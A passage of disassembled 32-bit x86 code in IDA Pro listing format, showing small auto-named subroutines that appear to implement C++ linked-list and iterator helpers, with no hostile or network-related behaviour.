		mov	ecx, esi
		push	edx
		call	sub_13AC2F6
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
sub_13BFAD0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BFB40	proc near		; CODE XREF: sub_13ABCF2j

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		push	eax
		call	sub_13ABFB8
		mov	ecx, [eax]
		mov	esi, [esp+8+arg_0]
		add	esp, 4
		push	ecx
		mov	ecx, esi
		call	sub_13AC166
		mov	eax, esi
		pop	esi
		retn	4
sub_13BFB40	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BFB80	proc near		; CODE XREF: sub_13AB54Aj

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_13AC166
		mov	eax, esi
		pop	esi
		retn	4
sub_13BFB80	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BFBB0	proc near		; CODE XREF: sub_13AB806j

var_8		= byte ptr -8
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_13AB54A
		mov	edx, [eax]
		lea	eax, [esp+10h+var_8]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_13AC0FD
		pop	esi
		pop	ecx
		retn	4
sub_13BFBB0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BFBF0	proc near		; CODE XREF: sub_13AC062j

var_C		= byte ptr -0Ch

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_13AB54A
		mov	ecx, [eax]
		lea	edx, [esp+14h+var_C]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_13ABCF2
		mov	eax, [eax]
		lea	ecx, [esp+1Ch+var_C]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_13AB801
		pop	esi
		add	esp, 0Ch
		retn
sub_13BFBF0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BFC40	proc near		; CODE XREF: sub_13AC530j

var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_8]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_13AB54A
		lea	ecx, [esp+14h+var_10]
		push	ecx
		mov	ecx, esi
		call	sub_13ABCF2
		lea	edx, [esp+18h+var_10]
		lea	ecx, [esp+18h+var_14]
		push	edx
		call	sub_13AB739
		test	al, al
		jz	short loc_13BFCC1
		push	edi
		mov	edi, [esp+20h+var_8]


loc_13BFC73:				; CODE XREF: sub_13BFC40+7Ej
		lea	ecx, [esp+20h+var_18]
		call	sub_13AB75C
		mov	eax, [eax]
		mov	ecx, [edi]
		cmp	eax, ecx
		jnz	short loc_13BFCA5
		lea	ecx, [esp+20h+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+28h+var_18]
		call	sub_13AC2A1
		mov	edx, [eax]
		lea	eax, [esp+28h+var_18]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_13AB478
		jmp	short loc_13BFCAE
; ---------------------------------------------------------------------------


loc_13BFCA5:				; CODE XREF: sub_13BFC40+42j
		lea	ecx, [esp+20h+var_18]
		call	sub_13AB58B


loc_13BFCAE:				; CODE XREF: sub_13BFC40+63j
		lea	ecx, [esp+20h+var_14]
		push	ecx
		lea	ecx, [esp+24h+var_18]
		call	sub_13AB739
		test	al, al
		jnz	short loc_13BFC73
		pop	edi


loc_13BFCC1:				; CODE XREF: sub_13BFC40+2Cj
		pop	esi
		add	esp, 0Ch
		retn	4
sub_13BFC40	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BFD00	proc near		; CODE XREF: sub_13AC652j
		push	esi
		mov	esi, ecx
		call	sub_13AC229
		mov	eax, esi
		pop	esi
		retn
sub_13BFD00	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BFD20	proc near		; CODE XREF: sub_13AB75Cj
		mov	eax, [ecx]
		push	eax
		call	sub_13ABBDA
		add	esp, 4
		retn
sub_13BFD20	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BFD40	proc near		; CODE XREF: sub_13AB58Bj
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_13ABFB8
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_13BFD40	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BFD70	proc near		; CODE XREF: sub_13AB739j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_13AB84C
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_13BFD70	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BFDA0	proc near		; CODE XREF: sub_13AB53Bj

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		push	eax
		call	sub_13AC48B
		mov	ecx, [eax]
		mov	esi, [esp+8+arg_0]
		add	esp, 4
		push	ecx
		mov	ecx, esi
		call	sub_13ABB53
		mov	eax, esi
		pop	esi
		retn	4
sub_13BFDA0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BFDE0	proc near		; CODE XREF: sub_13ABACCj

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_13ABB53
		mov	eax, esi
		pop	esi
		retn	4
sub_13BFDE0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BFE10	proc near		; CODE XREF: sub_13AC55Dj

var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_13AC04E
		mov	edi, eax
		push	edi
		call	sub_13AB504
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_13AC2BA
		push	edi
		mov	ebx, eax
		call	sub_13AB504
		push	edi
		mov	[eax], ebx
		call	sub_13AB504
		mov	edi, [eax]
		push	edi
		call	sub_13AB504
		mov	ecx, [eax]
		push	ecx
		call	sub_13AC48B
		mov	edx, [esp+24h+arg_0]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_13AC2FB
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_13AC594
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		mov	esi, [esp+20h+var_C]
		mov	ecx, esi
		call	sub_13AC1A7
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	0Ch
sub_13BFE10	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BFEB0	proc near		; CODE XREF: sub_13ABB2Bj

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= byte ptr  4
arg_4		= byte ptr  8
arg_8		= byte ptr  0Ch

		push	esi
		mov	esi, ecx
		lea	eax, [esp+4+arg_8]
		lea	ecx, [esp+4+arg_4]
		push	eax
		call	sub_13AC0A8
		test	al, al
		jz	short loc_13BFEFD
		push	edi
		mov	edi, [esp+0Ch]


loc_13BFECA:				; CODE XREF: sub_13BFEB0+4Aj
		lea	ecx, [esp+0Ch+arg_0]
		call	sub_13ABE4B
		push	eax
		lea	ecx, [esp+10h]
		push	edi
		push	ecx
		mov	ecx, esi
		call	sub_13AC55D
		lea	ecx, [esp+18h+var_8]
		call	sub_13AC4EF
		lea	edx, [esp+18h+var_4]
		lea	ecx, [esp+18h+var_8]
		push	edx
		call	sub_13AC0A8
		test	al, al
		jnz	short loc_13BFECA
		pop	edi


loc_13BFEFD:				; CODE XREF: sub_13BFEB0+13j
		pop	esi
		retn	0Ch
sub_13BFEB0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BFF30	proc near		; CODE XREF: sub_13AC3AFj

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_4		= byte ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_13AB96E
		mov	ecx, eax
		call	sub_13AC04E
		mov	esi, eax
		push	esi
		call	sub_13AC48B
		push	esi
		mov	ebx, eax
		call	sub_13AB504
		mov	ecx, [eax]
		push	ecx
		call	sub_13AC48B
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_13AB504
		push	esi
		mov	ebx, eax
		call	sub_13AC48B
		mov	eax, [eax]
		push	eax
		call	sub_13AB504
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_13AC2FB
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_13AB8F6
		push	esi
		mov	ecx, edi
		call	sub_13AC0D5
		mov	eax, [edi+8]
		mov	edx, [esp+20h+var_8]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+20h+var_C]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
sub_13BFF30	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13BFFF0	proc near		; CODE XREF: sub_13AB865j

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_13AC15C
		test	al, al
		jz	short loc_13C004A


loc_13C0008:				; CODE XREF: sub_13BFFF0+47j
		lea	ecx, [esp+10h+var_C]
		push	0
		push	ecx
		lea	ecx, [esp+18h+arg_0]
		call	sub_13AB96E
		mov	edx, [eax]
		lea	eax, [esp+18h+var_10]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_13AC3AF
		lea	ecx, [esp+20h+var_8]
		push	ecx
		lea	ecx, [esp+24h+var_C]
		call	sub_13AC15C
		test	al, al
		jnz	short loc_13C0008
		mov	eax, [esp+24h+var_14]
		mov	edx, [esp+24h+var_10]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_13C004A:				; CODE XREF: sub_13BFFF0+16j
		mov	eax, [esp+10h]
		mov	ecx, [esp+10h+arg_0]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_13BFFF0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C0080	proc near		; CODE XREF: sub_13AC2BAj

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	0Ch
		call	sub_13AC4D6
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_13C0095
		mov	edi, esi


loc_13C0095:				; CODE XREF: sub_13C0080+11j
		push	esi
		call	sub_13AC48B
		mov	[eax], edi
		mov	edi, [esp+10h+arg_0]
		add	esp, 4
		test	edi, edi
		jnz	short loc_13C00AA
		mov	edi, esi


loc_13C00AA:				; CODE XREF: sub_13C0080+26j
		push	esi
		call	sub_13AB504
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_13C0080	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C00D0	proc near		; CODE XREF: sub_13AC0D5j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_13AC201
		retn	4
sub_13C00D0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C00F0	proc near		; CODE XREF: sub_13AC48Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_13C00F0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C0110	proc near		; CODE XREF: sub_13AC2FBj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_13C0110	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C0130	proc near		; CODE XREF: sub_13AC2B5j
		mov	eax, ecx
		retn
sub_13C0130	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C0150	proc near		; CODE XREF: sub_13AC1A7j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_13ABB53
		mov	eax, esi
		pop	esi
		retn	4
sub_13C0150	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C0180	proc near		; CODE XREF: sub_13AB96Ej

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_13AC4A4
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_13C0180	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C01B0	proc near		; CODE XREF: sub_13AB9CDj

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_13C01B0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C01E0	proc near		; CODE XREF: sub_13ABE96j

var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_13AC36E
		mov	edi, eax
		push	edi
		call	sub_13AB563
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_13AC07B
		push	edi
		mov	ebx, eax
		call	sub_13AB563
		push	edi
		mov	[eax], ebx
		call	sub_13AB563
		mov	edi, [eax]
		push	edi
		call	sub_13AB563
		mov	ecx, [eax]
		push	ecx
		call	sub_13AB649
		mov	edx, [esp+24h+arg_0]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_13AC526
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_13AB9E6
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		mov	esi, [esp+20h+var_C]
		mov	ecx, esi
		call	sub_13AC0C6
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	0Ch
sub_13C01E0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C0280	proc near		; CODE XREF: sub_13ABBDFj

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_4		= byte ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_13AB4DC
		mov	ecx, eax
		call	sub_13AC36E
		mov	esi, eax
		push	esi
		call	sub_13AB649
		push	esi
		mov	ebx, eax
		call	sub_13AB563
		mov	ecx, [eax]
		push	ecx
		call	sub_13AB649
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_13AB563
		push	esi
		mov	ebx, eax
		call	sub_13AB649
		mov	eax, [eax]
		push	eax
		call	sub_13AB563
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_13AC526
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_13AC14D
		push	esi
		mov	ecx, edi
		call	sub_13AC21A
		mov	eax, [edi+8]
		mov	edx, [esp+20h+var_8]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+20h+var_C]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
sub_13C0280	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C0340	proc near		; CODE XREF: sub_13AB72Fj

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_13ABED7
		test	al, al
		jz	short loc_13C039A


loc_13C0358:				; CODE XREF: sub_13C0340+47j
		lea	ecx, [esp+10h+var_C]
		push	0
		push	ecx
		lea	ecx, [esp+18h+arg_0]
		call	sub_13AB4DC
		mov	edx, [eax]
		lea	eax, [esp+18h+var_10]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_13ABBDF
		lea	ecx, [esp+20h+var_8]
		push	ecx
		lea	ecx, [esp+24h+var_C]
		call	sub_13ABED7
		test	al, al
		jnz	short loc_13C0358
		mov	eax, [esp+24h+var_14]
		mov	edx, [esp+24h+var_10]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_13C039A:				; CODE XREF: sub_13C0340+16j
		mov	eax, [esp+10h]
		mov	ecx, [esp+10h+arg_0]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_13C0340	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C03D0	proc near		; CODE XREF: sub_13AC07Bj

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	0Ch
		call	sub_13AB9A5
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_13C03E5
		mov	edi, esi


loc_13C03E5:				; CODE XREF: sub_13C03D0+11j
		push	esi
		call	sub_13AB649
		mov	[eax], edi
		mov	edi, [esp+10h+arg_0]
		add	esp, 4
		test	edi, edi
		jnz	short loc_13C03FA
		mov	edi, esi


loc_13C03FA:				; CODE XREF: sub_13C03D0+26j
		push	esi
		call	sub_13AB563
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_13C03D0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C0420	proc near		; CODE XREF: sub_13AC21Aj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_13AB4D7
		retn	4
sub_13C0420	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C0440	proc near		; CODE XREF: sub_13AB649j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_13C0440	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C0460	proc near		; CODE XREF: sub_13AC526j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_13C0460	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C0480	proc near		; CODE XREF: sub_13AC279j
		mov	eax, ecx
		retn
sub_13C0480	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C04A0	proc near		; CODE XREF: sub_13AC0C6j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_13AB757
		mov	eax, esi
		pop	esi
		retn	4
sub_13C04A0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C04D0	proc near		; CODE XREF: sub_13AB4DCj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_13ABCB6
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_13C04D0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C0500	proc near		; CODE XREF: sub_13AC2A6j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_13C0500	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C0530	proc near		; CODE XREF: sub_13AC0FDj

var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_13AB6CB
		mov	edi, eax
		push	edi
		call	sub_13ABBD5
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_13AC1A2
		push	edi
		mov	ebx, eax
		call	sub_13ABBD5
		push	edi
		mov	[eax], ebx
		call	sub_13ABBD5
		mov	edi, [eax]
		push	edi
		call	sub_13ABBD5
		mov	ecx, [eax]
		push	ecx
		call	sub_13ABFB8
		mov	edx, [esp+24h+arg_0]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_13ABBDA
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_13AC1FC
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		mov	esi, [esp+20h+var_C]
		mov	ecx, esi
		call	sub_13AC166
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	0Ch
sub_13C0530	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C05D0	proc near		; CODE XREF: sub_13AB478j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_4		= byte ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_13AC2A1
		mov	ecx, eax
		call	sub_13AB6CB
		mov	esi, eax
		push	esi
		call	sub_13ABFB8
		push	esi
		mov	ebx, eax
		call	sub_13ABBD5
		mov	ecx, [eax]
		push	ecx
		call	sub_13ABFB8
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_13ABBD5
		push	esi
		mov	ebx, eax
		call	sub_13ABFB8
		mov	eax, [eax]
		push	eax
		call	sub_13ABBD5
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_13ABBDA
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_13AB7F7
		push	esi
		mov	ecx, edi
		call	sub_13AC2F6
		mov	eax, [edi+8]
		mov	edx, [esp+20h+var_8]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+20h+var_C]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
sub_13C05D0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C0690	proc near		; CODE XREF: sub_13AB801j

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_13AB739
		test	al, al
		jz	short loc_13C06EA


loc_13C06A8:				; CODE XREF: sub_13C0690+47j
		lea	ecx, [esp+10h+var_C]
		push	0
		push	ecx
		lea	ecx, [esp+18h+arg_0]
		call	sub_13AC2A1
		mov	edx, [eax]
		lea	eax, [esp+18h+var_10]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_13AB478
		lea	ecx, [esp+20h+var_8]
		push	ecx
		lea	ecx, [esp+24h+var_C]
		call	sub_13AB739
		test	al, al
		jnz	short loc_13C06A8
		mov	eax, [esp+24h+var_14]
		mov	edx, [esp+24h+var_10]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_13C06EA:				; CODE XREF: sub_13C0690+16j
		mov	eax, [esp+10h]
		mov	ecx, [esp+10h+arg_0]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_13C0690	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C0720	proc near		; CODE XREF: sub_13AC1A2j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_13AC29C
		mov	edi, [esp+8+arg_0]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_13C0735
		mov	edi, esi


loc_13C0735:				; CODE XREF: sub_13C0720+11j
		push	esi
		call	sub_13ABFB8
		mov	[eax], edi
		mov	edi, [esp+0Ch+arg_4]
		add	esp, 4
		test	edi, edi
		jnz	short loc_13C074A
		mov	edi, esi


loc_13C074A:				; CODE XREF: sub_13C0720+26j
		push	esi
		call	sub_13ABBD5
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_13C0720	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C0770	proc near		; CODE XREF: sub_13AC2F6j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_13ABC57
		retn	4
sub_13C0770	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C0790	proc near		; CODE XREF: sub_13ABFB8j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_13C0790	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C07B0	proc near		; CODE XREF: sub_13ABBDAj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_13C07B0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C07D0	proc near		; CODE XREF: sub_13AC229j
		mov	eax, ecx
		retn
sub_13C07D0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C07F0	proc near		; CODE XREF: sub_13AC166j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_13ABA0E
		mov	eax, esi
		pop	esi
		retn	4
sub_13C07F0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
